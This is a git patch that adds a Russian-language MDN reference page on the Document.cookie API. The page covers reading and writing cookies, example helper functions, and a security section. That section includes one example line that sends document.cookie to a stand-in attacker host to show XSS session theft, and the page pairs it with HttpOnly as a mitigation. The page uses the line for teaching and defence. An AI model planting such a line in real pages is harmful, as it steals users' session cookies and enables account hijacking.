From 074785cea106179cb3305637055ab0a009ca74f2 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:52 -0500 Subject: initial commit --- files/ru/web/api/document/cookie/index.html | 360 ++++++++++++++++++++++++++++ 1 file changed, 360 insertions(+) create mode 100644 files/ru/web/api/document/cookie/index.html (limited to 'files/ru/web/api/document/cookie/index.html') diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html new file mode 100644 index 0000000000..286bb779f8 --- /dev/null +++ b/files/ru/web/api/document/cookie/index.html @@ -0,0 +1,360 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с  cookies смотри simple cookie framework.

+ +

Синтаксис

+ +

Чтение всех cookies, связанных с текущим документом

+ +
allCookies = document.cookie;
+ +

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

+ + + + + +

В приведенном коде newCookie - строка в виде key=value. Заметьте, у вас есть возможность установить/обновить лишь одну связку key=value за один раз, используя этот метод.  Стоит отметить, что:

+ + + +
+

Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

+
+ +

Примеры

+ +

Пример #1: Простое использование

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

Пример #3: Выполнить операцию единожды

+ +

При использовании следующего кода замените все вхождения doSomethingOnlyOnce (наименование cookie) на другое имя.

+ +
function doOnce() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.trim().indexOf('reader=') == 0
+}).length) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) => item.trim().startsWith('reader=')).length) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+ + + +
//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.indexOf('reader=1') >= 0
+}).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+ +

Безопасность

+ +

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

+ +

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

+ +

Заметки

+ + + +

The reason of the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +
The client sends back to the server its cookies previously stored
+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

Использование относительных ссылок в параметре path

+ +

The path parameter of a new cookie can accept only absolute paths. If you want to use relative paths, therefore, you need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successifully used for the path parameter of a new cookie, as well.

+ +
Library
+ +
/*\
+|*|
+|*|  :: Translate relative paths to absolute paths ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  The following code is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function relPathToAbs (sRelPath) {
+  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
+  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
+    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
+    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
+  }
+  return sDir + sPath.substr(nStart);
+}
+ +
Sample usage
+ +
/* Let us be in /en-US/docs/Web/API/document.cookie */
+
+alert(location.pathname);
+// displays: /en-US/docs/Web/API/document.cookie
+
+alert(relPathToAbs("./"));
+// displays: /en-US/docs/Web/API/
+
+alert(relPathToAbs("../Guide/API/DOM/Storage"));
+// displays: /en-US/docs/Web/Guide/API/DOM/Storage
+
+alert(relPathToAbs("../../Firefox"));
+// displays: /en-US/docs/Firefox
+
+alert(relPathToAbs("../Guide/././API/../../../Firefox"));
+// displays: /en-US/docs/Firefox
+ + + +

If you don't want to use an absolute date for the end parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:

+ +
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
+docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
+docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
+ +

Другие примеры

+ +

Example #5: Do something only once – a general library

+ +

Библиотека

+ +
function executeOnce () {
+  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
+  if (bImplGlob) { argc++; }
+  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
+  var fExec = arguments[0], sKey = arguments[argc - 2];
+  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
+  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
+  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
+  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
+  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
+  return true;
+}
+ +

Синтаксис

+ +
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
+ +

Описание

+ +

Executes a function only once, even after the refresh of the page.

+ +

Параметры

+ +
+
callback
+
The function to be executed ({{jsxref("function", "", "", "1")}}).
+
thisObject Optional
+
The {{jsxref("Operators/this", "this")}} object ({{jsxref("Object", "", "", "1")}} or {{jsxref("Global_Objects/null", "null")}}).
+
argumentToPass1, argumentToPass2, argumentToPassN Optional
+
The arguments of the callback function.
+
identifier
+
The identifier to check, i.e. the name of the cookie ({{jsxref("String", "string", "", "1")}})
+
onlyHere Optional
+
A {{jsxref("Boolean", "boolean", "", "1")}} expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) ({{jsxref("Boolean", "boolean", "", "1")}} or {{jsxref("Global_Objects/undefined", "undefined")}})
+
+ +

Примеры использования

+ +
function alertSomething (sMsg) {
+  alert(sMsg);
+}
+
+executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}Initial definition
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.cookie")}}

+ +

Смотрите также

+ + -- cgit v1.2.3-54-g00ecf